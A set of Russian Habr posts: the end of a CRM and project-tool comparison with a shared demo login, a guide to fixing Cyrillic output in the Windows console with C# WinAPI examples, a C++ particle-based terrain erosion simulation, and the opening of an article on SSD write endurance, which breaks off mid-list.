Но как подойти к этому выбору?
Может, фичи сравнивать? Фу-у-у-у, нафиг-нафиг такое счастье: где фичи, а где бизнес.
Тогда, наверное, стоит подойти, как мы любим, со стороны потребностей? Пересчитать эти потребности для начала, потом по каждой выставить оценку каждой софтинке, посчитать общий балл… Звучит заманчиво, но о каких потребностях речь?
Составили список потребностей. Условно можно назвать их пользовательскими сценариями (хотя на самом деле там есть нюансы, но сейчас не до этого). Сгруппировали. Получился список из 90 (девяноста!) пунктов.
Вот он, этот список: <http://bit.ly/1uT2UTb> — лежит на Google Drive и всем открыт для комментирования. Пожалуйста, заходите, читайте, копируйте себе — в общем, развлекайтесь.
Так, девяносто. Не то количество сценариев, которое может охватить слабый человеческий разум. И не то количество пунктов, по которым можно оценить 11 продуктов, даже если делить модель ожиданий на CRM и PM.
В общем, посценарное сравнивание даже и затевать не стоит. Точно провалится. Нужен другой подход.
Какой? Как вообще сравнивать этих разномастных монстров?
Каждый рассказывает о себе вкусности. Каждый обещает золотые горы. Каждый дает демодоступ. У каждого вагон недостатков. И всем надо платить примерно одинаковые деньги.
И-и-и-и? Решение-то как принять?
Пойдем двумя путями: гуманитарно-религиозным и экспериментальным.
Сначала расскажем про простой гуманитарно-религиозный путь.
Смотрите, какая штука интересная получается. Компания, внедряющая более-менее готовый инструмент (а не разрабатывающая свой с нуля), подписывается совсем не на набор фичей-возможностей. И рациональности в этом решении гораздо меньше, чем веры в светлое будущее: системы же меняются со временем, и быстрей, чем клиенты мигрируют с одной на другую.
Иначе говоря, внедрение — это акт доверия. Компания верит, что именно этот инструмент поведет ее в светлое будущее. Ну извините за пафос, сейчас пойдёт конкретика.
Тут начинается самое интересное. Дело в том, что если по набору функций все продукты одного семейства более-менее похожи, то по философии, по общему видению — совсем нет.
То есть каждый продукт — это носитель ответа на вопрос «Как правильно организовать бизнес-процессы продаж/производства». Не точного, до деталей, ответа, а как бы общего направления: вот это важно, а это не важно; такие привычки хорошие, а такие плохие; в эту область стоит углубляться, а в эту нет.
И получается, что при выборе продукта жизненно важной задачей становится вот какая: нужно сперва распознать общий месседж, настрой и жизненные принципы продукта — а потом примерить на себя и понять, насколько они соответствуют реальности вашей компании.
Поехали выявлять и сравнивать эти vision-mission.
Один ма-а-аленький нюанс бросается в глаза почти сразу: компании-разработчики обсуждаемых продуктов не удосужились сформулировать свою микрорелигию. Не написали крупными буквами на первом экране, про что они, чем отличаются от конкурентов и как хотят изменить мир. Догадайся, мол, сама.
Ну что ж, дурное дело нехитрое. Пошли догадываться.
Ниже — то, как мы прочитали позиционирование продуктов по сопутствующим информационным материалам: сайту, общему настрою аудитории, скриншотам интерфейса, процедуре регистрации и т. п. Не копаясь в деталях, а именно пытаясь уловить общее настроение.
**[Битрикс24](http://www.bitrix24.ru)**
Мы считаем, что сплоченность команды в виртуальном пространстве идет на пользу бизнесу. И видим пользу в том, чтобы собрать все-все-все информационные потоки в одном месте.
**[Мегаплан](http://www.megaplan.ru)**
Кругом бардак. А мы хотим навести порядок. Да, для нас порядок — это контроль начальства за работой подчиненных и рост продаж.
**[Business365](http://www.business365.ru)**
Мы современные, технологичные, молодые, успешные и всё делаем правильно. А еще нас поддерживает государство. Так что приобщайтесь к нашей правильности, и будет счастье.
**[FreshOffice](http://www.freshoffice.ru)**
Ух ты, класс, сколько всего можно наавтоматизировать в бизнес-процессах! И 1С прицепить, и в облаке развернуться, и то, и сё, а еще вот такое бывает… Нам нравится бежать сразу во все стороны — побежали вместе?
**[amoCRM](http://www.amocrm.ru)**
Клиент — самая большая ценность для компании. Не упустим ни одного! И попутно, кстати, научим вас, как продавать в интернете.
**[1C:CRM](http://www.1crm.ru)**
Мы 1С. И это стоит любых страданий. В общем, жуйте свой любимый кактус, мы не против.
**[NovaCRM](http://novacrm.ru)**
Клиенты идут со всех сторон. Наша задача — держать входящими все шлюзы и вести системную работу хоть по телефону, хоть по почте, хоть через соцсети. Правда, мы питерские, а потому не кипим энергией и немножко стесняемся продавать.
**[OnlyOffice](http://www.onlyoffice.com)**
Так получилось, что наши технологии ничем не хуже технологий Google. Ну, мы так думаем. Так что если Google вас вконец разочаровал — может, к нам? Почти то же самое ведь.
**[DaOffice](http://daoffice.ru)**
Никто уже не работает системно и аккуратно. Кругом бардак, фан и соцсеточки. Давайте хоть попробуем этих лентяев-сотрудничков перетянуть из ВКонтактика в фирменную соцсеть. Пусть по делу общаются — глядишь, и удастся возглавить этот хаос.
**[Teambridge](http://www.teambridge.ru)**
Control freak’и — это модно. Контролируйте людей и то, что они делают. Составляйте отчеты в свое удовольствие, смотрите на свой список задач-проектов под любыми ракурсами. Ура контролю!
**[Devprom](http://devprom.ru)**
Неповоротливые IT-монстры должны как-то прикрыться модной тряпочкой Agile. Вот вам, друзья, подходящий инструментик. Но вы не волнуйтесь, в глубине всё тот же UML и прочие тикеты. Зато сразу всё в одном, плюс не надо эту пра-а-а-ативную Jira настраивать.
Честно сказать, после этого выписывания тайных посланий нам стало уже совершенно очевидно, какому (единственному в списке) продукту мы готовы довериться. Не без риска, но — да, готовы. Очень уж соответствует нашей задаче как минимум на ближайшие месяцы. Называть продукт не будем, а то ай-ай-ай-реклама.
Однако вы, дорогие читатели, наверняка ведь куда более рациональны? И на сладкие концептуальные посулы просто не поведетесь? Нужны факты и аргументы, да, да?
Так что вот вам подарочек.
Мы не первый раз выбираем одно решение среди многих и многих. И знаем, что самое противное в этом деле — попытка пощупать продукт руками. Регистрации, наполнение болванки осмысленными данными, вот это всё.
А вдруг вам тоже интересно? Не гнать же вас по пути, который мы уже прошли. Поэтому решили так: откроем доступ к своим демо-площадкам. Играйте.
Вот универсальные логин → пароль на обсуждаемые продукты:
```
replace37@pavlova.cc → Replace37
```
А вот адреса для входа.
**Битрикс:** <https://www.bitrix24.net>
**Мегаплан:** <https://replace37.megaplan.ru>
**Business365:** <https://system.business365.ru>
**Fresh Office:** <https://go.myfreshcloud.com/login> (код подписки — 19236)
**amoCRM:** <https://sobakapavlova.amocrm.ru>
**1С:CRM:** ждём реакции на заявку уже третий день
**NovaCRM:** логин только через GMail, использовали свой, не дадим
**OnlyOffice:** <https://sobakapavlova.onlyoffice.com>
**DaOffice:** регистрационный e-mail к нам не дошёл
**Teambridge:** <https://app.teambridge.ru>
**Devprom:** <https://sobakapavlova.myalm.ru>
Конечно, заходить без дела на пустую площадку — скучно и грустно.
Так что вот вам список дел для экспериментов.
**CRM**
1. Ответить на письмо клиента.
2. Найти клиента по адресу его сайта.
3. Пометить, что клиенту нужно выставить счет.
4. Понять, какие проекты сейчас идут по конкретному клиенту.
**Система управления проектами**
1. Создать проект и назначить ему менеджера.
2. Пригласить нового пользователя к работе над проектом.
3. Поставить задачи разным исполнителям внутри проекта.
4. Задать вопрос клиенту.
Мы верим в силу человеческого разума и приводим здесь эту крохотную шпаргалку только для того, чтобы вам было с чего начать игру. А как далеко вы закопаетесь, уже не в нашей власти.
[Подробный список сценариев](http://bit.ly/1uT2UTb) тоже никуда не убираем, вникайте при желании.
Выдержат ли системы, понятия не имеем. [Пишите](mailto:habr@pavlova.cc) о впечатлениях. | https://habr.com/ru/post/364645/ | null | ru | null |
# Гарантированная локализация/русификация консоли Windows
Введение
--------
Консольные приложения до сих пор остаются наиболее востребованным видом приложений, большинство разработчиков оттачивают архитектуру и бизнес-логику именно в консоли. При этом они нередко сталкиваются с проблемой локализации - русский текст, который вполне адекватно отражается в исходном файле, при выводе на консоль приобретает вид т.н. "кракозябр".
В целом, локализация консоли Windows при наличии соответствующего языкового пакета не представляется сложной. Тем не менее, полное и однозначное решение этой проблемы, в сущности, до сих пор не найдено. Причина этого, главным образом, кроется в самой природе консоли, которая, являясь компонентом системы, реализованным статическим классом System.Console, предоставляет свои методы приложению через системные программы-оболочки, такие как командная строка или командный процессор (cmd.exe), PowerShell, Terminal и другие.
По сути, консоль находится под двойным управлением - приложения и оболочки, что является потенциально конфликтной ситуацией, в первую очередь в части использования кодировок.
Данный материал не предлагает строгий алгоритм действий, а направлен на описание узловых проблем, с которыми неизбежно сталкивается разработчик локализованного консольного приложения, а также некоторые возможные пути их разрешения. Предполагается, что это позволит разработчику *сформировать стратегию работы с локализованной консолью* и эффективно реализовать существующие технические возможности, большая часть которых хорошо описана и здесь опущена.
Виды консолей
-------------
В общем случае функции консоли таковы:
* управление операционной системой и системным окружением приложений на основе применения стандартных системных устройств ввода-вывода (экран и клавиатура), использования команд операционной системы и/или собственно консоли;
* запуск приложений и обеспечение их доступа к стандартным потокам ввода-вывода системы, также с помощью стандартных системных устройств ввода-вывода.
Основная консоль Windows - командная строка или иначе командный процессор (CMD). Большие возможности предоставляют оболочки PowerShell (PS), Windows PowerShell (WPS) и Terminal. По умолчанию Windows устанавливает Windows Power Shell мажорной версией до 5, однако предлагает перейти на новую версию - 7-ку, имеющую принципиальное отличие (вероятно, начинающееся с 6-ки) - кроссплатформенность. Terminal - также отдельно уставливаемое приложение, по сути интегратор всех ранее установленных оболочек PowerShell и командной строки.
Отдельным видом консоли можно считать консоль отладки Visual Studio (CMD-D).
Конфликт кодировок
------------------
Полностью локализованная консоль в идеале должна поддерживать все мыслимые и немыслимые кодировки приложений, включая свои собственные команды и команды Windows, меняя "на лету" кодовые страницы потоков ввода и вывода. Задача нетривиальная, а иногда и невозможная - кодовые страницы DOS (CP437, CP866) плохо совмещаются с кодовыми страницами Windows и Unicode.
История кодировок здесь: [О кодировках и кодовых страницах / Хабр (habr.com)](https://habr.com/ru/post/238497/)
Исторически кодовой страницей Windows является CP1251 (Windows-1251, ANSI, Windows-Cyr), уверенно вытесняемая 8-битной кодировкой Юникода CP65001 (UTF-8, Unicode Transformation Format), в которой выполняется большинство современных приложений, особенно кроссплатформенных. Между тем, в целях совместимости с устаревшими файловыми системами, именно в консоли Windows сохраняет базовые кодировки DOS - CP437 (DOSLatinUS, OEM) и русифицированную CP866 (AltDOS, OEM).
> **Совет 1.** Выполнять разработку текстовых файлов (программных кодов, текстовых данных и др.) исключительно в кодировке UTF-8. Мир любит Юникод, а кроссплатформенность без него вообще невозможна.
>
> **Совет 2.** Периодически проверять кодировку, например в текстовом редакторе Notepad++. Visual Studio может сбивать кодировку, особенно при редактировании за пределами VS.
>
>
Поскольку в консоли постоянно происходит передача управления от приложений к собственно командному процессору и обратно, регулярно возникает "конфликт кодировок", наглядно иллюстрируемый таблица 1 и 2, сформированных следующим образом:
Были запущены три консоли - CMD, PS и WPS. В каждой консоли менялась кодовая страница с помощью команды CHCP, выполнялась команда Echo c двуязычной строкой в качестве параметра (табл. 1), а затем в консоли запускалось тестовое приложение, исходные файлы которого были созданы в кодировке UTF-8 (CP65001): первая строка формируется и направляется в поток главным модулем, вторая вызывается им же, формируется в подключаемой библиотеке классов и направляется в поток опять главным модулем, третья строка полностью формируется и направляется в поток подключаемой библиотекой.
Команды и код приложения под катомкоманды консоли:
* > Echo ffffff фффффф // в командной строке
* PS> Echo ffffff фффффф // в PowerShell
* PS> Echo ffffff ?????? // так выглядит та же команда в Windows PowerShell
код тестового приложения:
```
using System;
using ova.common.logging.LogConsole;
using Microsoft.Extensions.Logging;
using ova.common.logging.LogConsole.Colors;
namespace LoggingConsole.Test
{
partial class Program
{
static void Main2(string[] args)
{
ColorLevels.ColorsDictionaryCreate();
Console.WriteLine("Hello World! Привет, мир!"); //вывод строки приветствия на двух языках
LogConsole.Write("Лог из стартового проекта", LogLevel.Information);
Console.WriteLine($"8. Active codepage: input {Console.InputEncoding.CodePage}, output {Console.OutputEncoding.CodePage}");
Console.ReadKey();
}
}
}
```
Командную часть задания все консоли локализовали практически без сбоев во всех кодировках, за исключением: в WPS неверно отображена русскоязычная часть команды во всех кодировках.
Табл. 1. Результат выполнения команды консоли Echo ffffff ффффффВывод тестового приложения локализован лишь в 50% испытаний, как показано в табл.2.
Табл. 2. Результат запуска приложения LoggingConsole.Test
> **Сoвет 3.** Про PowerShell забываем раз и навсегда. Ну может не навсегда, а до следующей мажорной версии...
>
>
По умолчанию Windows устанавливает для консоли кодовые страницы DOS. Чаще всего CP437, иногда CP866. Актуальные версии командной строки cmd.exe способны локализовать приложения на основе русифицированной кодовой страницы 866, но не 437, отсюда и изначальный конфликт кодировок консоли и приложения. Поэтому
> **Совет 4.** Перед запуском приложения необходимо проверить кодовую страницу консоли командой CHCP и ей же изменить кодировку на совместимую - 866, 1251, 65001.
>
>
> **Совет 5.** Можно установить кодовую страницу консоли *по умолчанию*. Кратко: в разделе реестра \HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Command Processor добавить или изменить значение параметра Autorun на: chcp <номер кодовой страницы>. Очень подробно здесь: [Изменить кодовую страницу консоли Windows по умолчанию на UTF-8 (qastack.ru)](https://qastack.ru/superuser/269818/change-default-code-page-of-windows-console-to-utf-8), оригинал на английском здесь: [Change default code page of Windows console to UTF-8](https://superuser.com/questions/269818/change-default-code-page-of-windows-console-to-utf-8).
>
>
Проблемы консолей Visual Studio
-------------------------------
В Visual Studio имеется возможность подключения консолей, по умолчанию подключены командная строка для разработчика и Windows PowerShell для разработчика. К достоинствам можно отнести возможности определения собственных параметров консоли, отдельных от общесистемных, а также запуск консоли непосредственно в директории разработки. В остальном - это обычные стандартные консоли Windows, включая, как показано ранее, установленную кодовую страницу по умолчанию.
Отдельной опцией Visual Studio является встроенная односеансная консоль отладки, которая перехватывает команду Visual Studio на запуск приложения, запускается сама, ожидает компиляцию приложения, запускает его и отдает ему управление. Таким образом, отладочная консоль в течение всего рабочего сеанса находится под управлением приложения и возможность использования команд Windows или самой консоли, включая команду CHCP, не предусмотрена. Более того, отладочная консоль не воспринимает кодовую страницу по умолчанию, определенную в реестре, и всегда запускается в кодировке 437 или 866.
> **Совет 6.** Тестирование приложения целесообразно выполнять во внешних консолях, более дружелюбных к локализации.
>
>
Анализ проблем консолей был бы не полон без ответа на вопрос - можно ли запустить консольное приложение без консоли? Можно - любой файл ".exe" запустится двойным кликом, и даже откроется окно приложения. Однако консольное приложение, по крайней мере однопоточное, по двойному клику запустится, *но консольный режим не поддержит* - все консольные вводы-выводы будут проигнорированы, и приложение завершится
Локализация отладочной консоли Visual Studio
--------------------------------------------
Отладочная консоль - наиболее востребованная консоль разработчика, гораздо более удобная, чем внешняя консоль, поэтому резонно приложить максимум усилий для ее локализации.
На самом деле, правильнее говорить о локализации приложения в консоли - это важное уточнение. Microsoft по этому поводу высказывается недвусмысленно: "Programs that you start after you assign a new code page use the new code page. However, programs (except Cmd.exe) that you started before assigning the new code page will continue to use the original code page". Иными словами, консоль можно локализовать когда угодно и как угодно, но приложение будет локализовано в момент стабилизации взаимодействия с консолью в соответствии с текущей локализацией консоли, и эта локализация сохранится до завершения работы приложения. В связи с этим возникает вопрос - в какой момент окончательно устанавливается связь консоли и приложения?
> **Важно!** Приложение окончательно стабилизирует взаимодействие с консолью в момент начала ввода-вывода в консоль, благодаря чему и появляется возможность ***программного управления локализацией приложения в консоли*** - до первого оператора ввода-вывода.
>
>
Ниже приведен пример вывода тестового приложения в консоль, иллюстрирующий изложенное. Метод Write получает номера текущих страниц, устанавливает новые кодовые страницы вводного и выводного потоков, выполняет чтение с консоли и записывает выводную строку, содержащий русский текст, в том числе считанный с консоли, обратно в консоль. Операция повторяется несколько раз для всех основных кодовых страниц, упомянутых ранее.
```
F:\LoggingConsole.Test\bin\Release\net5.0>chcp
Active code page: 1251
F:\LoggingConsole.Test\bin\Release\net5.0>loggingconsole.test
Codepages: current 1251:1251, setted 437:437, ΓΓεΣΦ∞ 5 ±Φ∞ΓεδεΓ ∩ε-≡≤±±ΩΦ: Θ÷≤Ωσ=Θ÷≤Ωσ
Codepages: current 437:437, setted 65001:65001, 5 -: =
Codepages: current 65001:65001, setted 1252:1252, ââîäèì 5 ñèìâîëîâ ïî-ðóññêè: éöóêå=éöóêå
Codepages: current 1252:1252, setted 1251:1251, вводим 5 символов по-русски: йцуке=йцуке
Codepages: current 1251:1251, setted 866:866, ттюфшь 5 ёшьтюыют яю-Ёєёёъш: щЎєъх=щЎєъх
Codepages: current 866:866, setted 1251:1251, вводим 5 символов по-русски: йцуке=йцуке
Codepages: current 1251:1251, setted 1252:1252, ââîäèì 5 ñèìâîëîâ ïî-ðóññêè: éöóêå=éöóêå
F:\LoggingConsole.Test\bin\Release\net5.0>chcp
Active code page: 1252
```
* приложение запущено в консоли с кодовыми страницами 1251 (строка 2);
* приложение меняет кодовые страницы консоли (current, setted);
* приложение остановлено в консоли с кодовыми страницами 1252 (строка 11, setted);
* по окончании работы приложения изменения консоли сохраняются (строка 14 - Active codepage 1252);
* Приложение адекватно локализовано только в случае совпадения текущих кодовых страниц консоли (setted 1251:1251) с начальными кодовыми страницами (строки 8 и 10).
Код тестового приложения под катом
```
using System;
using System.Runtime.InteropServices;
namespace LoggingConsole.Test
{
partial class Program
{
[DllImport("kernel32.dll")] static extern uint GetConsoleCP();
[DllImport("kernel32.dll")] static extern bool SetConsoleCP(uint pagenum);
[DllImport("kernel32.dll")] static extern uint GetConsoleOutputCP();
[DllImport("kernel32.dll")] static extern bool SetConsoleOutputCP(uint pagenum);
static void Main(string[] args)
{
Write(437);
Write(65001);
Write(1252);
Write(1251);
Write(866);
Write(1251);
Write(1252);
}
static internal void Write(uint WantedIn, uint WantedOut)
{
uint CurrentIn = GetConsoleCP();
uint CurrentOut = GetConsoleOutputCP();
Console.Write($"current {CurrentIn}:{CurrentOut} - текущая кодировка, "); /*wanted {WantedIn}:{WantedOut},*/
SetConsoleCP(WantedIn);
SetConsoleOutputCP(WantedOut);
Console.Write($"setted {GetConsoleCP()}:{GetConsoleOutputCP()} - новая кодировка, ");
Console.Write($"вводим 3 символа по-русски: ");
string str = "" + Console.ReadKey().KeyChar.ToString();
str += Console.ReadKey().KeyChar.ToString();
str += Console.ReadKey().KeyChar.ToString();
Console.WriteLine($"={str}");
}
static internal void Write(uint ChangeTo)
{
Write(ChangeTo, ChangeTo);
}
}
}
```
Программное управление кодировками консоли - это единственный способ гарантированной адекватной локализацией приложения в консоли. Языки .Net такой возможности не предоставляют, однако предоставляют функции WinAPI: SetConsoleCP(uint numcp) и SetConsoleOutputCP(uint numcp), где numcp - номер кодовой страницы потоков ввода и вывода соответственно. Подробнее здесь: [Console Functions - Windows Console | Microsoft Docs](https://docs.microsoft.com/en-us/windows/console/console-functions). Пример применения консольных функций WInAPI можно посмотреть в тестовом приложении под катом выше.
> **Совет 7.** Обязательный и повторный! Функции SetConsoleCP должны размещаться в коде ***до первого оператора ввода-вывода*** в консоль.
>
>
Стратегия локализации приложения в консоли
------------------------------------------
1. Удалить приложение PowerShell (если установлено), сохранив Windows PowerShell;
2. Установить в качестве кодовую страницу консоли по умолчанию CP65001 (utf-8 Unicode) или CP1251 (Windows-1251-Cyr), [см. совет 5](#%D0%A1%D0%BE%D0%B2%D0%B5%D1%825);
3. Разработку приложений выполнять в кодировке utf-8 Unicode;
4. Контролировать кодировку файлов исходных кодов, текстовых файлов данных, например с помощью Notepad++;
5. Реализовать программное управление локализацией приложения в консоли, пример ниже под катом:
Пример программной установки кодовой страницы и локализации приложения в консоли
```
using System;
using System.Runtime.InteropServices;
namespace LoggingConsole.Test
{
partial class Program
{
static void Main(string[] args)
{
[DllImport("kernel32.dll")] static extern bool SetConsoleCP(uint pagenum);
[DllImport("kernel32.dll")] static extern bool SetConsoleOutputCP(uint pagenum);
SetConsoleCP(65001); //установка кодовой страницы utf-8 (Unicode) для вводного потока
SetConsoleOutputCP(65001); //установка кодовой страницы utf-8 (Unicode) для выводного потока
Console.WriteLine($"Hello, World!");
}
}
}
``` | https://habr.com/ru/post/545330/ | null | ru | null |
# Симуляция эрозии рельефа на основе частиц
> Примечание: полный исходный код проекта, а также пояснения о его использовании и чтении можно найти на Github [[здесь](https://github.com/weigert/SimpleErosion)].
Я сделал перерыв в своей работе над магистерской диссертацией, чтобы потрудиться над тем, что уже давно откладывал: улучшенной генерацией рельефа для моего [проекта Territory](https://github.com/weigert/territory). Простым способом её реализации является гидравлическая эрозия, поэтому её я и создал!
Для программной задачки на один день она сработала довольно неплохо, и оказалась не такой сложной, как я ожидал. Результаты быстро генерируются, имеют *физическое значение* и потрясающе выглядят.
В этой статье я расскажу о моей простой реализации на C++ системы гидравлической эрозии в квадратной сетке на основе частиц. Я объясню все физические обоснования, заложенные в основу реализации, и расскажу о математике. Код чрезвычайно прост (всего примерно 20 строк на математику эрозии) и быстр в реализации, поэтому я рекомендую его всем, кто стремится повысить реализм своего рельефа.
Результаты рендерятся при помощи урезанной версии моего движка [Homebrew OpenGl Engine](https://weigert.vsos.ethz.ch/2019/10/27/homebrew-voxel-engine/), который я модифицировал для рендеринга 2D-массива точек в качестве карты высот. Урезанную версию движка намного проще понять, если вас интересует изучение OpenGL на C++.
Реализация
----------
Вдохновлённый множеством источников по гидравлической эрозии, я решил, что логичнее всего будет использовать частицы.
Процесс эрозии на основе частиц выполняется очень просто:
* Мы создаём частицу в случайной точке поверхности
* Она перемещается/скользит по поверхности, используя стандартные классические механики (о них будет сказано ниже)
* Выполняем перенос вещества/осадочных пород между поверхностью и частицей (это тоже объясняется ниже)
* Испаряем часть частицы
* Если частица находится за пределами карты или слишком мала, то уничтожаем её
* Повторяем процесс с нужным вам количеством частиц.
> Примечание: параметры системы объяснены в соответствующем разделе. Самым важным является фактор шага времени `dt`, который пропорционально масштабирует все параметры. Это позволяет нам увеличить частоту симуляции (ценой повышения шума), не меняя относительный масштаб параметров. Это можно увидеть в показанном ниже коде.
#### Частицы
Для этого я создал простую структуру частицы, содержащую все необходимые мне свойства:
```
struct Particle{
//Construct particle at position _pos
Particle(glm::vec2 _pos){ pos = _pos; }
glm::vec2 pos;
glm::vec2 speed = glm::vec2(0.0); //Initialize to 0
float volume = 1.0; //Total particle volume
float sediment = 0.0; //Fraction of volume that is sediment!
};
```
> Примечание: на случай если вы не знакомы с библиотекой GLM: я использую её для выполнения векторных операций.
Частица имеет позицию и скорость, определяющую то, как она перемещается. Кроме того, она имеет объём и долю, определяющую, какая часть объёма является осадочными породами.
#### Движение: классическая механика
Движение частицы по поверхности симулируется при помощи [классической механики](https://en.wikipedia.org/wiki/Classical_mechanics). Если вкратце, позиция **x** частицы изменяется скоростью **v**, изменяемой ускорением **a**.
> Примечание: выделенные жирным буквы означают, что величина является вектором.
Ещё мы знаем, что сила равна массе, умноженной на ускорение:
Частица испытывает направленное вниз ускорение, вызванное гравитацией, но она находится на поверхности, что делает ускорение вниз невозможным. Поэтому вместо этого частица подвергается силе **F**, направленной вдоль поверхности и пропорциональной нормали к поверхности.
Следовательно, мы можем сказать, что ускорение **a** пропорционально вектору нормали поверхности **n**, разделённому на массу частицы.
где k — константа пропорциональности, а m — масса частицы. Если масса равна объёму, умноженному на плотность, то полную систему движения частицы мы получим с помощью классической механики:
```
//... particle "drop" was spawned above at random position
glm::ivec2 ipos = drop.pos; //Floored Droplet Initial Position
glm::vec3 n = surfaceNormal(ipos.x, ipos.y); //Surface Normal
//Accelerate particle using classical mechanics
drop.speed += dt*glm::vec2(n.x, n.z)/(drop.volume*density);
drop.pos += dt*drop.speed;
drop.speed *= (1.0-dt*friction); //Friction Factor
//...
```
Примечание: скорость после движения частицы снижается при помощи вектора трения. Заметьте, что сюда включён фактор шага времени. Частицы имеют собственную инерцию, пропорциональную их плотности из-за того, что мы моделируем их движение при помощи ускорения.
#### Процесс образования осадочных пород: массообмен
Процесс образования осадочных пород физически происходит как перенос осадочных пород с земли на частицу и обратно в точке расположения частицы ("[массообмен](https://en.wikipedia.org/wiki/Mass_transfer)").
В химических технологиях перенос массы (т.е. изменение массы/осадочных пород с течением времени) между двумя фазами (в данном случае это поверхность земли и капля) обычно описывается при помощи [коэффициентов массообмена](https://en.wikipedia.org/wiki/Mass_transfer_coefficient).
Массообмен пропорционален разности между концентрацией c и равновесной концентрацией c\_eq:
где k — константа пропорциональности (коэффициент массообмена). Эту разность между равновесной и действительной концентрацией часто называют «движущей силой».
Если равновесная концентрация выше текущей, то частица поглощает осадочные породы. Если ниже, то теряет их. Если они равны, то никаких изменений не происходит.
Коэффициент массообмена можно интерпретировать различными способами:
* Как частоту перехода между фазами (здесь это «скорость отложения»)
* Скорость, с которой концентрация капли стремится к равновесной концентрации
От определения равновесной концентрации полностью зависит система. В зависимости от определения, система будет демонстрировать разную динамику отложения осадочных пород. В моей реализации равновесная концентрация выше, если мы движемся вниз, и если мы движемся быстрее, а также она пропорциональна объёму частицы:
```
//...
//Compute Equilibrium Sediment Content
float c_eq = drop.volume*glm::length(drop.speed)*(heightmap[ipos.x][ipos.y]-heightmap[(int)drop.pos.x][(int)drop.pos.y]);
if(c_eq < 0.0) c_eq = 0.0;
//Compute Capacity Difference ("Driving Force")
float cdiff = c_eq - drop.sediment;
//Perform the Mass Transfer!
drop.sediment += dt*depositionRate*cdiff;
heightmap[ipos.x][ipos.y] -= dt*drop.volume*depositionRate*cdiff;
//...
```
> Примечание: изменение концентрации внутри частицы полностью описывается уравнением массообмена. Изменение в карте высот дополнительно умножается на объём частиц, потому что мы меняем его пропорционально не концентрации, а массе (концентрация умножить на объём).
#### Другие аспекты
Карта высот инициализируется многослойным шумом Перлина со случайным seed.
В конце каждого шага времени частица теряет немного массы в соответствии со скоростью испарения:
```
//...
drop.volume *= (1.0-dt*evapRate);
//...
```
Этот процесс повторяется для тысяч частиц, создаваемых в случайных местах и симулируемых по отдельности (в моём случае вычисления производятся последовательно в ЦП).
В мою реализацию по умолчанию включён хороший набор параметров. Спустя 200 тысяч частиц эрозия выглядит очень хорошо.
Результаты
----------
Готовый код процесса эрозии составляет примерно 20 строк без комментариев.
Вот сравнение «до и после» для 10 выборок. Симуляция генерирует очень красивые хребты на возвышениях, по сторонам некоторых хребтов откладываются осадочные породы, что приводит к созданию красивых плато.
*Выборка из десяти сравнений «до и после». Написанный мной шейдер получает на входе два цвета. Также я реализовал наложение теней, зависящий от расстояния туман и затенение по Фонгу.*
Вот ещё десять (разных) выборок просто с результатами:
*Ещё десять выборок результатов. Они отличаются от предыдущих, даже если некоторые формации выглядят похожими.*
По разному выбирая seed при инициализации карты, можно создавать управляемые разные результаты.
#### Время симуляции
Время симуляции напрямую связано со сроком жизни частиц и количеством симулируемых частиц.
На срок жизни частиц влияет несколько факторов, и он может сильно изменяться для каждой частицы, потому что они создаются в случайных местах:
* Трение и инерция: скорость перемещения частиц
* Размер сетки: вероятность того, что частицы выпадут с карты
* Скорость испарения: скорость исчезновения частиц
При параметрах по умолчанию на симуляцию отдельной частицы требуется по 10-100 миллисекунд, что в результате даёт 10-20 секунд на симуляцию 200 000 частиц.
Можно увеличить степень эрозии и снизить срок жизни частиц, увеличив шаг времени без изменения количества симулируемых частиц. Это может сделать симуляцию более «шумной», а при слишком большом шаге времени есть вероятность сбоя симуляции.
Сама симуляция в движке вызывает дополнительные затраты на повторное создание меша поверхности для рендеринга.
Оптимизировать код можно снижением затрат на повторное создание меша или повышением скорости одного шага времени для отдельной частицы.
Работа на будущее
-----------------
Вскоре я вставлю этот код в свой проект Territory в качестве основы для генерации карты высот в генераторе рельефа.
Я уже написал фреймворк для упрощённой симуляции динамики жидкости в климатических системах, но он ещё не готов к публикации. Эта система получает климатические паттерны из карты высот. Это будет темой для будущего поста о физически точных процедурных климатических системах!
С помощью симулируемой климатической системы можно будет в дальнейшем сэмплировать частицы из распределения (например, в местах выпадения дождей) вместо равномерного распределения их по карте. Они будут идеально совмещаться с геологией и климатом рельефа.
Кроме того, после добавления разных типов геологических формаций камни смогут иметь разную степень растворяемости. Это напрямую будет влиять на коэффициент массообмена (скорость отложения), создавая разную скорость эрозии.
Эта система неспособна симулировать настоящий поток жидкости и реки, но потенциально её можно адаптировать к таким задачам. Я обдумаю это и, возможно, в будущем выпущу продолжение поста. | https://habr.com/ru/post/496762/ | null | ru | null |
# Когда умрёт мой SSD — расчёт срока жизни
У каждого SSD есть ресурс на количество циклов перезаписи, то есть объём записанной информации в течение всей жизни. Физика и механика SSD очень сложные, но долговечность накопителя в итоге сводится к простому правилу — чем больше на него пишешь, тем меньше он проживёт.
У одних SSD критический сбой происходит через несколько месяцев, другие работают годами. Это зависит от качества комплектующих, условий эксплуатации и везения. В общем, как у людей.
Срок жизни SSD ограничен, потому что ячейки флеш-памяти NAND выдерживают ограниченное количество циклов перезаписи (циклы P/E, "program / erase"). По мере перехода производителей флеш-памяти с технологии [Multi Level Cell](https://en.wikipedia.org/wiki/Multi-level_cell) (MLC/DLC, 2 бита на ячейку) на Triple Level Cell (TLC, 3 бита), Quad-level cell (QLC, 4 бита) и Penta-level cell (PLC, 5 бит, пока находится в разработке) ресурс P/E уменьшается из-за увеличения сложности производства. Причём уменьшается кратно.
Например, древняя однобитная SLC на этапе анонса технологии NAND выдерживала 100 тысяч циклов перезаписи, двухбитная MLC/DLC — уже 10 тысяч. С увеличением плотности записи и ёмкости накопителей снижается цена гигабайта, но увеличивается сложность и уменьшается ресурс ячеек памяти.
*Уменьшение ресурса P/E с увеличением технологической сложности производства флеш-памяти, [источник](https://www.anandtech.com/print/16458/2021-ssd-benchmark-suite)*
Производители пытаются увеличить срок жизни SSD разными способами: интеллектуальное распределение нагрузки (прошивка SSD, контроллер), отслеживание и коррекция ошибок, резервный кэш накопителя.
Показатели DWPD и TBW
---------------------
Обычно производитель указывает два параметра, которые позволяют рассчитать срок эксплуатации накопителя: DWPD и TBW. Например, для NVMe SSD 980 PRO [заявлен](https://www.samsung.com/semiconductor/minisite/ssd/product/consumer/980pro/) гарантийный показатель 150 TBW для накопителя на 250 ГБ и 600 TBW для модели 1 ТБ.
* **Terabytes Written (TBW)** = количество терабайт, которые можно записать на SSD в течение срока эксплуатации.
